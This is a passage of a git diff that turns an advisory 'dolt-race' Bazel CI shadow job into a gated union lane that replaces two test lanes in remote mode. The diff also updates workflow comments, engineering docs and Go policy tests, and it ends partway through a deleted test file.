flight), so the shadow adds no - # executions. - # Advisory: it cannot fail the gate. Job-level continue-on-error (a failed - # job otherwise fails the whole call, whose result pr.yml's ci-gate - # requires as BAZEL), no workflow_call output, no job outputs, no job in - # this file needs it, and no gate script or caller names it. The gate does - # wait for it: ci-gate needs pr.yml's bazel call, which completes only when - # every job in it has finished (success, failure or timeout), so a slow - # shadow delays the gate and the merge queue. continue-on-error does not - # cover a job GitHub cancels at its own timeout-minutes, which could turn - # the call red: every step has a timeout, and the job's exceeds their sum - # (TestBazelDoltRaceShadowIsAdvisory). Mode remote only, on - # same-repo pull requests and merge groups (mode remote on a pull_request - # is never a fork): no fork mode, no cache or local mode, and not on push, - # nightly, dispatch or bazel-farm.yml's call. Its ci-analytics LANE is - # dolt-race. Removing it is the rollback; nothing reads it. + # Item 5 (scripts/bazel_dolt_race_test.go): the dolt-server and + # proxied-server tiers in one `bazel test --config=dolt-race` (.bazelrc: + # exactly the union of --config=doltserver's and + # --config=doltserver-proxied's lines, one tag filter for both), mode + # remote only, in place of bazel-doltserver and bazel-proxied, which run + # in every other mode. One client waits on rbe-west for both tiers' + # shards at once (27 + 35 test actions, under the remote-exec config's 64 + # jobs), so the job ends with the slower tier and saves the other's + # runner. Each member target's test action key is unchanged (aquery- + # verified), so cached results carry over both ways, and a revert of the + # cutover re-executes nothing. Gated: its job.status is both the + # bazel-doltserver and the bazel-proxied workflow_call output (a failure + # in either tier fails both ids, which are both required). Every step has + # a timeout and the job's exceeds their sum by 5 minutes while staying + # under the merge queue's 60-minute check timeout + # (TestBazelDoltRaceJobTimeouts), so a hang fails a named step instead of + # dropping the merge group. The member jobs' configs and the union's must + # stay key-identical: the mode decides which runs (TestBazelDoltRaceConfigIsMemberUnion). + # Its ci-analytics LANE is dolt-race. bazel-dolt-race: name: dolt-race needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ needs.rbe.outputs.mode == 'remote' && (github.event_name == 'pull_request' || github.event_name == 'merge_group') }} - # At least every step's timeout-minutes plus 5 (and the test step's plus - # 10): a hung step then fails the job (continue-on-error) before GitHub - # cancels it, which continue-on-error does not cover - # (TestBazelDoltRaceShadowIsAdvisory). bazel-proxied's steps have no - # timeouts but its test step's; these bound the rest. - timeout-minutes: 55 - continue-on-error: true + if: ${{ needs.rbe.outputs.mode == 'remote' }} + # At least every step's timeout-minutes plus 5, and below the merge + # queue's 60-minute check timeout so this job alone cannot exhaust it + # (TestBazelDoltRaceJobTimeouts). Not a whole-run bound: the rbe job runs + # first and sibling lanes have longer timeouts. + timeout-minutes: 56 + outputs: + result: ${{ steps.result.outputs.result }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). # checkout v7 refuses a fork head on pull_request_target unless opted @@ -2120,11 +2124,15 @@ jobs: fi # Both tiers' shards at once: 27 dolt-server + 35 proxied test actions, - # under the remote-exec config's 64 jobs. The step timeout is - # bazel-proxied's (the longer tier on rbe-west). + # under the remote-exec config's 64 jobs. No --config=sole-run: its one + # line (no retry on a remote cache eviction) is already in the union. + # Shards are expected around 55-95s on rbe-west (see bazel-proxied's + # test step), the proxied tier's 1200s cap included. The step timeout is + # >= proxied test_timeout 1200 s + about 3 min so Bazel writes TIMEOUT + # logs before GitHub kills the step. - name: bazel test //... --config=dolt-race id: test - timeout-minutes: 25 + timeout-minutes: 23 run: | set -o pipefail start=$(date +%s) @@ -2138,12 +2146,11 @@ jobs: echo "bazel test --config=dolt-race: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" - # The member lanes' checks over the union's BEP: bazel-proxied's (the - # dolt-server lane has none). check_shard_coverage ignores targets it - # does not list; check_testcases checks every target, so it covers the - # dolt-server tier too, which bazel-doltserver does not check: a - # dolt-server shard that runs no test turns this job red while both - # member lanes stay green. + # The member lanes' checks, once over the union's BEP: bazel-proxied's + # (the dolt-server lane has none). check_shard_coverage ignores targets + # it does not list; check_testcases checks every target, so it covers + # the dolt-server tier too, which bazel-doltserver does not check: a + # dolt-server shard that runs no test turns this job red. - name: Every target and shard ran tests if: ${{ always() && steps.test.outcome != 'skipped' }} timeout-minutes: 2 @@ -2201,6 +2208,17 @@ jobs: retention-days: 7 if-no-files-found: ignore + # Last step: the job's result as the bazel-doltserver and + # bazel-proxied workflow_call outputs for pr.yml's ci-gate. always() + # runs it after a failure, a timeout or a cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + timeout-minutes: 1 + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr-risk.yml's server-Dolt storage tier, "Test (Server Dolt Conformance)" # and "Test (Server Dolt Full Suite N/16)", as --config=doltserver-integration: # the conformance and 16-shard full-suite variants of diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index bf7960b75..155b3b944 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -24,8 +24,8 @@ env: # The legacy Go test tiers this workflow used to run (embedded Dolt storage, # conformance and cmd shards; proxied-server cmd shards; server-Dolt storage # and full suite) are pr.yml's Bazel lanes on rbe-west now: `embedded Dolt -# tier`, `proxied-server tier` and `server-Dolt storage tier` (bazel.yml), -# which pr.yml's `CI Gate / Required` requires to have run remotely and +# tier`, `proxied-server tier` (`dolt-race`, with the dolt-server lane, in +# mode remote) and `server-Dolt storage tier` (bazel.yml), which pr.yml's `CI Gate / Required` requires to have run remotely and # passed on every pull_request and merge group, fork and Dependabot PRs # included (ga-96smfk.22). What remains is the Nix packaging check, which no # Bazel target can stand in for: it builds the package Nix users install. diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 333b30e29..6590acea7 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -54,7 +54,10 @@ Current PR-related workflow names: repo variable is unset) and exports it as the `rbe-mode` / `rbe-enabled` outputs (`rbe-enabled` is `true` in `remote`, `fork-ro` and `fork-rw`); every lane exports its - `job.status` as an output named after the job. `pr.yml`'s gate requires the + `job.status` as an output named after the job (in mode `remote`, the + `bazel-doltserver` and `bazel-proxied` outputs carry the `bazel-dolt-race` + union job's status instead; see [dolt-race Union Lane](#dolt-race-union-lane)). + `pr.yml`'s gate requires the call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_RELEASE_CROSS`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. These lanes are the only CI run of the Linux Go @@ -620,38 +623,41 @@ job's `if:` or rotating the key, in either of two ways: step's own kill switch, checked before any network call. Deleting the variable does not disable pre-warming; it restores the default of 1. -## dolt-race Shadow (Not Required) +## dolt-race Union Lane -`bazel.yml`'s `bazel-dolt-race` job (check name `Bazel / dolt-race`) is an -advisory shadow, not a required check. It runs -`bazel test //... --config=dolt-race`, the union of `--config=doltserver` and -`--config=doltserver-proxied` with one tag filter for both tiers, beside the -`bazel-doltserver` and `bazel-proxied` lanes. Its purpose is to measure one -client per group of lanes against the two lanes it would replace (end time, -runner minutes, test counts and results) before any cutover. Each member -target's test action key is unchanged, so the shadow shares cached results -with the member lanes. +In mode `remote`, `bazel.yml`'s `bazel-dolt-race` job (check name +`Bazel / dolt-race`) runs the dolt-server and proxied-server tiers in one +`bazel test //... --config=dolt-race`, in place of the `bazel-doltserver` +(`dolt-server lane`) and `bazel-proxied` (`proxied-server tier`) jobs. +`--config=dolt-race` is exactly the union of `--config=doltserver` and +`--config=doltserver-proxied`, with one tag filter for both tiers, so every +member target's test action is unchanged (`bazel aquery`: the 27 + 35 = 62 +`TestRunner` actions are byte-identical under the member configs and the +union). One client waits on rbe-west for both tiers at once, so the job ends +with the slower tier and the other tier's runner is saved. -- It runs in mode `remote` on `pull_request` and `merge_group` events only. - It never runs in a fork mode (`fork-ro`, `fork-rw`), in mode `cache` or - `local`, on `bazel-farm.yml`'s call, on push, nightly or dispatch. -- It cannot fail the gate. It has job-level `continue-on-error`, so its - failure cannot fail the call's aggregate result (`BAZEL`). It has no - `workflow_call` output, no `bazel.yml` job `needs` it, and `pr.yml`, - `ci-gate.sh` and `bazel-gate.sh` never name it. -- The gate still waits for it. `CI Gate` needs `pr.yml`'s `bazel` call, and - a reusable-workflow call completes only when all of its jobs have finished - (success, failure or timeout), `continue-on-error` ones included. A slow - shadow therefore delays `CI Gate` and the merge queue, up to its - timeout. `continue-on-error` does not cover a job GitHub cancels at its - own `timeout-minutes`, so every step has its own timeout and the job's - (65 minutes) stays at least 5 minutes above their sum and 10 above the - test step's (policy-tested). A hung step then fails the job, which - `continue-on-error` covers, before GitHub would cancel it. +- Mode `remote` only (same-repo pull requests, merge groups, push, nightly, + dispatch and `bazel-farm.yml`'s authorized call). In the fork modes + (`fork-ro`, `fork-rw`), `cache` and `local`, `bazel-doltserver` and + `bazel-proxied` run as before: there a single client does both tiers' work + without in-flight deduplication, so a union would cost the sum of the + tiers rather than the max, on the run's critical path. +- Exactly one arm runs in any mode. The union's `job.status` is both the + `bazel-doltserver` and the `bazel-proxied` `workflow_call` output (each + reads the union's result first, then its member's), so `pr.yml`'s gate + ids (`BAZEL_DOLTSERVER`, `BAZEL_PROXIED`), `ci-gate.sh` and + `bazel-gate.sh` are unchanged: a failed or cancelled union reds both ids, + a union that reported nothing reads as `skipped`, which mode `remote` + never allows, and the per-mode skips are the members' as before. +- `check_testcases.py` and `check_shard_coverage.py` run once over the + union's BEP (the proxied tier's `--suite`; the dolt-server tier has no + shard-coverage check). The `bazel test` step has a 20-minute timeout, + every step has one, and the job's (55 minutes) is at least their sum plus + 5 and below the merge queue's 60-minute check timeout. - Its ci-analytics `LANE` is `dolt-race`. -- Policy: `scripts/bazel_dolt_race_shadow_test.go`. Removing the job, its - `.bazelrc` config and its line in `.github/scripts/rrc-lane-commands.txt` - is the rollback; nothing reads them. +- Policy: `scripts/bazel_dolt_race_test.go`. Rollback is a revert of the + cutover PR: the gate ids never changed and the action keys are equal both + ways, so cached results carry back. ## Remote Repo Contents Cache @@ -1032,7 +1038,7 @@ Required` requires them to have run remotely and passed. `nogoConfigurations` table (race, pure, js/wasm) validates in exactly one required lane, not beside every compile of every lane: the race configuration's nogo is owned by `test` above, and `embedded`, - `doltserver`, `doltserver-proxied`, `dolt-race` (shadow) and the + `doltserver`, `doltserver-proxied`, `dolt-race` and the package gates pass `--norun_validations`, since they compile a strict subset of what `test` already validates on that configuration (`scripts/nogo_lint_policy_test.go`, engdocs/LINTING.md). Since F5 S2 diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 595887d92..8e64bd0ca 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -43,6 +43,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | | Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. Also runs the served http tiers with `BEADS_HTTP_TEST_REQUIRED=1`: `//backend/http:http_served_test`, `//internal/httpclient:httpclient_served_test` and the command corpus `//backend/http/corpus:corpus_served_test`. | | Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 34 shards, each with a Dolt server. | +| Dolt server + proxied (`bazel-dolt-race`) | `bazel test //... --config=dolt-race` | Both rows above in one invocation; CI runs this instead of them in mode `remote`. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | | Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | @@ -199,7 +200,8 @@ remotely with `--config=remote-exec`. No Bazel target uses the `container` backend; run `go test` with docker and the pulled image to exercise it. PR Risk's heavier server tiers have configs of their own, run by bazel.yml only with remote execution, each in a job of its own (`bazel-proxied`, -`bazel-server-storage`): `--config=doltserver-proxied` is the +which in mode `remote` is folded with `bazel-doltserver` into +`bazel-dolt-race`, and `bazel-server-storage`): `--config=doltserver-proxied` is the proxied-server cmd/bd tier ("Test (Proxied Dolt Cmd N/15)", `//cmd/bd:bd_proxied_test`), and `--config=doltserver-integration` the server-Dolt storage tier ("Test (Server Dolt Conformance)", "Test (Server diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 97a16d586..f8e72de2c 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -35,7 +35,7 @@ go_test( srcs = [ "bazel_autofix_push_test.go", "bazel_cache_mode_test.go", - "bazel_dolt_race_shadow_test.go", + "bazel_dolt_race_test.go", "bazel_farm_workflow_test.go", "bazel_fork_mode_test.go", "bazel_go_repository_tools_test.go", diff --git a/scripts/bazel_cache_mode_test.go b/scripts/bazel_cache_mode_test.go index 437910fde..9b1b3152e 100644 --- a/scripts/bazel_cache_mode_test.go +++ b/scripts/bazel_cache_mode_test.go @@ -227,9 +227,9 @@ func TestBazelCacheModeReachesTheRC(t *testing.T) { // no longer forwards the app secrets either, so there is no // audience left for pre-warming in fork-ro or fork-rw (see // bazel.yml's comment on the job). - // Nor does a shadow lane (bazelShadowLanes): mode remote on - // same-repo PRs and merge groups only. - case strings.HasPrefix(mode, "fork-") && !runs && !bazelPackageJobs[name] && !(name == bazelRBEPrewarmJobName && strings.HasPrefix(mode, "fork-")) && bazelShadowLanes[name] == "": + // Nor does a union lane (bazelUnionLanes): mode remote only, + // its members run in the fork modes. + case strings.HasPrefix(mode, "fork-") && !runs && !bazelPackageJobs[name] && !(name == bazelRBEPrewarmJobName && strings.HasPrefix(mode, "fork-")) && bazelUnionLanes[name] == nil: t.Errorf("%s does not run in mode %s (every lane runs remotely)", name, mode) case mode == "cache" && (name == bazelIntegJobName || name == bazelCmdDoltJobName) && !runs: t.Errorf("%s does not run in mode cache", name) @@ -289,7 +289,9 @@ func TestBazelCacheModeReachesTheRC(t *testing.T) { if bazelPackageJobs[lane] { continue } - if !ran[lane] { + // A union lane's run reports for its members + // (bazel_dolt_race_test.go). + if !ran[lane] && !ran[bazelUnionOf(lane)] { wantSkips = append(wantSkips, id) } } diff --git a/scripts/bazel_dolt_race_shadow_test.go b/scripts/bazel_dolt_race_shadow_test.go deleted file mode 100644 index 0b6008047..000000000 --- a/scripts/bazel_dolt_race_shadow_test.go +++ /dev/null @@ -1,305 +0,0 @@ -package scripts_test - -import ( - "cmp" - "os" - "path/filepath" - "slices" - "strings" - "testing" - - "gopkg.in/yaml.v3" -) - -// The dolt-race shadow (item 5, Phase 1): bazel.yml's bazel-dolt-race job -// runs --config=dolt-race, the union of --config=doltserver and -// --config=doltserver-proxied, in one `bazel test` beside the two member -// lanes, so the union-job model can be measured against them before any -// cutover. It must be advisory: no workflow_call output, nothing in pr.yml's -// gates or bazel-gate.sh/ci-gate.sh, and a failure that cannot fail the -// call's aggregate result (BAZEL) that pr.yml's ci-gate requires. It cannot -// fail the gate, but the gate still waits for it: ci-gate needs the whole -// bazel call, which completes only when every job in it has finished. - -const ( - bazelDoltRaceJobName = "bazel-dolt-race" - bazelDoltRaceConfig = "dolt-race" - // Mode remote only, and only on same-repo pull requests and merge - // groups (mode remote on a pull_request event is never a fork: forks - // get fork-ro, fork-rw or cache). Not on push, nightly, dispatch or - // bazel-farm.yml's pull_request_target call. - bazelDoltRaceJobIf = "${{ needs.rbe.outputs.mode == 'remote' && (github.event_name == 'pull_request' || github.event_name == 'merge_group') }}" -) - -// bazelShadowLanes: bazel.yml jobs that run beside gated lanes only to -// measure a change to them, and report into nothing (no job or -// workflow_call output, no gate id, job-level continue-on-error), with the -// reason. TestBazelLaneIsGated and the continue-on-error checks carve them -// out by this map. -var bazelShadowLanes = map[string]string{ - bazelDoltRaceJobName: "item 5 Phase 1: the dolt-server + proxied union beside its member lanes, advisory until a cutover PR", -} - -// bazelDoltRaceJobTimeoutHeadroom: the minutes the shadow job's -// timeout-minutes must exceed its test step's (TestBazelDoltRaceShadowIsAdvisory). -const bazelDoltRaceJobTimeoutHeadroom = 10 - -// bazelDoltRaceJobTimeoutMargin: the minutes the shadow job's timeout-minutes -// must exceed the sum of all its step timeouts. -const bazelDoltRaceJobTimeoutMargin = 5 - -// bazelDoltRaceMergeQueueTimeout: the merge queue's check timeout (ruleset -// merge_queue.check_response_timeout_minutes). CI Gate waits for the shadow, -// so the shadow's job timeout must stay below it or a hung shadow drops the -// group from the queue. -const bazelDoltRaceMergeQueueTimeout = 60 - -// The union's members, and the tag filter each owns. -var bazelDoltRaceMembers = []struct{ config, tag string }{ - {"doltserver", "dolt-server"}, - {"doltserver-proxied", "dolt-server-proxied"}, -} - -// bazelRCConfigLines returns .bazelrc's option lines for --config=name -// (any command: test:name, build:name, ...), as "